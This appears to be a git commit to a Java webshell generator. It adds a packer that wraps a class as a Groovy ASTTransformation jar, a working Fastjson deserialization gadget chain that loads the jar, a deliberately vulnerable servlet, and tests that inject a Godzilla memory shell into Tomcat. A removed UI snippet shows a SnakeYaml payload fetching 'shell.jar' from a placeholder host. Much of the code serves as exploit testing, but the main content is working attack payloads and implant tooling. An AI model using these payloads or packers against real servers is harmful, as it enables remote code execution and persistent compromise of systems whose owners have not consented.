feat: support GroovyTransformJar packer

This commit is contained in:
ReaJason
2025-12-08 01:43:41 +08:00
parent c5cdb03a9f
commit d4e7a25255
10 changed files with 259 additions and 27 deletions
@@ -11,10 +11,7 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.AgentJarPacker; import com.reajason.javaweb.packer.jar.*;
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
import com.reajason.javaweb.suo5.Suo5Manager; import com.reajason.javaweb.suo5.Suo5Manager;
import lombok.SneakyThrows; import lombok.SneakyThrows;
@@ -129,6 +126,30 @@ public class ShellAssertion {
" !!java.net.URL [\"file://" + jarPath + "\"]\n" + " !!java.net.URL [\"file://" + jarPath + "\"]\n" +
" ]]\n" + " ]]\n" +
"]"; "]";
} else if (packer.getInstance() instanceof GroovyTransformJarPacker) {
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes);
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
FileUtils.deleteQuietly(tempJar.toFile());
VulTool.postIsOk(url + "/fastjson", """
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{
}
}""");
content = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":[\"file://" + jarPath + "\"]\n" +
" },\n" +
" \"gcl\":null,\n" +
" \"destDir\": \"/tmp\"\n" +
"}";
} else if (packer.getInstance() instanceof XalanAbstractTransletPacker) { } else if (packer.getInstance() instanceof XalanAbstractTransletPacker) {
String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig()); String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig());
content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]"; content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]";
@@ -396,6 +417,7 @@ public class ShellAssertion {
case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content); case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
case Base64 -> VulTool.postIsOk(url + "/b64", content); case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
@@ -54,6 +54,7 @@ public class Tomcat8DeserializeContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.GroovyTransformJar),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker) arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker)
); );
} }
@@ -0,0 +1,99 @@
package com.reajason.javaweb.asm;
import org.objectweb.asm.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class ClassAnnotationUtils {
public static byte[] setAnnotation(byte[] bytes, String annotationClassName) {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, 0);
ClassVisitor cv = new AddAnnotationClassVisitor(cw, annotationClassName);
cr.accept(cv, 0);
return cw.toByteArray();
}
static class AddAnnotationClassVisitor extends ClassVisitor {
private final String annotationClassName;
public AddAnnotationClassVisitor(ClassVisitor cv, String annotationClassName) {
super(Opcodes.ASM9, cv);
this.annotationClassName = annotationClassName.replace('.', '/');
}
@Override
public void visit(
int version, int access, String name,
String signature, String superName, String[] interfaces) {
super.visit(version, access, name, signature, superName, interfaces);
super.visitAnnotation(
"L" + annotationClassName + ";",
true
).visitEnd();
}
}
public static List<AnnotationInfo> getAnnotations(byte[] classBytes) {
ClassReader cr = new ClassReader(classBytes);
AnnotationCollectingVisitor cv = new AnnotationCollectingVisitor();
cr.accept(cv, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
return cv.getAnnotations();
}
public static class AnnotationInfo {
public final String desc;
public final Map<String, Object> values = new HashMap<>();
public AnnotationInfo(String desc) {
this.desc = desc;
}
}
public static class AnnotationCollectingVisitor extends ClassVisitor {
private final List<AnnotationInfo> annotations = new ArrayList<>();
public AnnotationCollectingVisitor() {
super(Opcodes.ASM9);
}
public List<AnnotationInfo> getAnnotations() {
return annotations;
}
@Override
public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) {
AnnotationInfo info = new AnnotationInfo(descriptor);
annotations.add(info);
return new AnnotationVisitor(Opcodes.ASM9) {
@Override
public void visit(String name, Object value) {
info.values.put(name, value);
}
@Override
public AnnotationVisitor visitArray(String name) {
List<Object> array = new ArrayList<>();
info.values.put(name, array);
return new AnnotationVisitor(Opcodes.ASM9) {
@Override
public void visit(String name, Object value) {
array.add(value);
}
};
}
};
}
}
}
@@ -0,0 +1,28 @@
package com.reajason.javaweb.asm;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/12/6
*/
class ClassAnnotationUtilsTest {
@Test
@SneakyThrows
void test() {
String interfaceName = "javax.script.ScriptEngineFactory";
byte[] bytes = new ByteBuddy().redefine(ClassInterfaceUtilsTest.EmptyInterface.class).make().getBytes();
List<ClassAnnotationUtils.AnnotationInfo> rawAnnotations = ClassAnnotationUtils.getAnnotations(bytes);
byte[] newBytes = ClassAnnotationUtils.setAnnotation(bytes, interfaceName);
List<ClassAnnotationUtils.AnnotationInfo> annotations = ClassAnnotationUtils.getAnnotations(newBytes);
assertEquals(0, rawAnnotations.size());
assertEquals(1, annotations.size());
assertEquals("Ljavax/script/ScriptEngineFactory;", annotations.get(0).desc);
}
}
@@ -177,6 +177,7 @@ public enum Packers {
Jar(new DefaultJarPacker()), Jar(new DefaultJarPacker()),
ScriptEngineJar(new ScriptEngineJarPacker()), ScriptEngineJar(new ScriptEngineJarPacker()),
GroovyTransformJar(new GroovyTransformJarPacker()),
XxlJob(new XxlJobPacker()), XxlJob(new XxlJobPacker()),
; ;
@@ -0,0 +1,40 @@
package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.asm.ClassAnnotationUtils;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class GroovyTransformJarPacker implements JarPacker {
@Override
@SneakyThrows
public byte[] packBytes(JarPackerConfig config) {
String mainClassName = config.getMainClassName();
byte[] mainClassBytes = config.getClassBytes().get(mainClassName);
mainClassBytes = ClassInterfaceUtils.addInterface(mainClassBytes, "org.codehaus.groovy.transform.ASTTransformation");
mainClassBytes = ClassAnnotationUtils.setAnnotation(mainClassBytes, "org.codehaus.groovy.transform.GroovyASTTransformation");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) {
targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class"));
targetJar.write(mainClassBytes);
targetJar.closeEntry();
targetJar.putNextEntry(new JarEntry("META-INF/services/org.codehaus.groovy.transform.ASTTransformation"));
targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8));
targetJar.closeEntry();
}
return outputStream.toByteArray();
}
}
@@ -31,6 +31,8 @@ dependencies {
implementation("org.yaml:snakeyaml:1.27") implementation("org.yaml:snakeyaml:1.27")
implementation("com.alibaba:fastjson:1.2.47") implementation("com.alibaba:fastjson:1.2.47")
implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0") implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0")
implementation("org.codehaus.groovy:groovy:3.0.6")
implementation("com.alibaba:fastjson:1.2.80")
implementation("xalan:xalan:2.7.2") implementation("xalan:xalan:2.7.2")
providedCompile("javax.servlet:javax.servlet-api:3.1.0") providedCompile("javax.servlet:javax.servlet-api:3.1.0")
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
@@ -0,0 +1,24 @@
import com.alibaba.fastjson.JSONObject;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/12/06
*/
@WebServlet("/fastjson")
public class FastjsonServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
try {
JSONObject.parse(data);
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,35 @@
import com.alibaba.fastjson.JSONObject;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/12/6
*/
class FastjsonServletTest {
@Test
void test() {
String json = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{\n" +
" }\n" +
"}";
try {
JSONObject.parse(json);
} catch (Exception e) {
//e.printStackTrace();
}
String data = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":[\"file:/Users/reajason/Downloads/TomcatGodzillaMemShell.jar\"]\n" +
" },\n" +
" \"gcl\":null,\n" +
" \"destDir\": \"/tmp\"\n" +
"}";
// JSONObject.parse(data);
}
}
@@ -30,7 +30,7 @@ export function JarResult({
<ol className="list-decimal list-inside space-y-4 text-sm"> <ol className="list-decimal list-inside space-y-4 text-sm">
<li className="flex items-center justify-between"> <li className="flex items-center justify-between">
<span> <span>
{t("common:download")} shell.jar ( {t("common:download")} {packMethod}Shell.jar (
{formatBytes(atob(packResult).length)}) {formatBytes(atob(packResult).length)})
</span> </span>
<Button <Button
@@ -50,28 +50,8 @@ export function JarResult({
</Button> </Button>
</li> </li>
<Separator /> <Separator />
{isPureJar ? ( <li>{t("memshell:tips.download-jar")}</li>
<> <li>{t("memshell:tips.trigger-injector-class-loading")}</li>
<li>{t("memshell:tips.download-jar")}</li>
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
</>
) : (
<>
<li>{t("memshell:tips.download-jar")}</li>
<li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
<CodeViewer
code={`!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://yourhost/shell.jar"]
]]
]`}
language="java"
showLineNumbers={false}
wrapLongLines={true}
header={<div className="text-xs">SnakeYaml Payload</div>}
/>
</>
)}
</ol> </ol>
</CardContent> </CardContent>
</Card> </Card>